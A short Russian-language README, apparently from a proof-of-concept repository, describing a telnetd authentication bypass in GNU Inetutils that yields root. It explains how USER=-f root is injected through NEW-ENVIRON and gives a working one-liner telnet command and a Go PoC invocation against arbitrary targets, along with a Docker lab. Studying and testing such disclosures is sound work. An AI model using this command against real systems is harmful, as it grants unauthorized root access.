
GNU Inetutils telnetd Удалённый обход аутентификации
Серьёзно, telnet в 2026 году? Ну ребята, пора двигаться дальше. SSH существует с 1995 года. 🤦
Критическая уязвимость обхода аутентификации в GNU Inetutils telnetd, затрагивающая версии с 1.9.3 по 2.7.
Уязвимость использует опцию telnet NEW-ENVIRON для внедрения вредоносных аргументов в login(1). Установив USER=-f root через протокол telnet, злоумышленник может обойти аутентификацию и получить root-оболочку без учётных данных.
Протокол telnet поддерживает опцию NEW-ENVIRON (RFC 1572), которая позволяет клиенту отправлять переменные окружения на сервер. Демон telnetd передаёт переменную USER в в качестве аргумента.
login(1)Отправив USER=-f root, значение интерпретируется как:
-f: пропустить аутентификацию (доверенный хост)root: целевой пользовательЭто приводит к выполнению login -f root, что предоставляет немедленный доступ к root.
PoC определяет успешную эксплуатацию, проверяя наличие IAC WILL ECHO (0xff 0xfb 0x01) — сигнала протокола, который сервер отправляет при предоставлении доступа к оболочке.
# Сборка и запуск контейнера с уязвимым telnetd
docker compose up --build -d
# Тестирование эксплойта
go run poc.go 127.0.0.1 2323
# Использование Go PoC (с интерактивной оболочкой)
go run poc.go <target> <port>
# Простой PoC с использованием стандартного telnet-клиента
env USER='-f root' telnet -a <target> <port>
poc.go — эксплойт на Go с интерактивной оболочкойDockerfile — контейнер с уязвимым telnetddocker-compose.yml — оркестрация лаборатории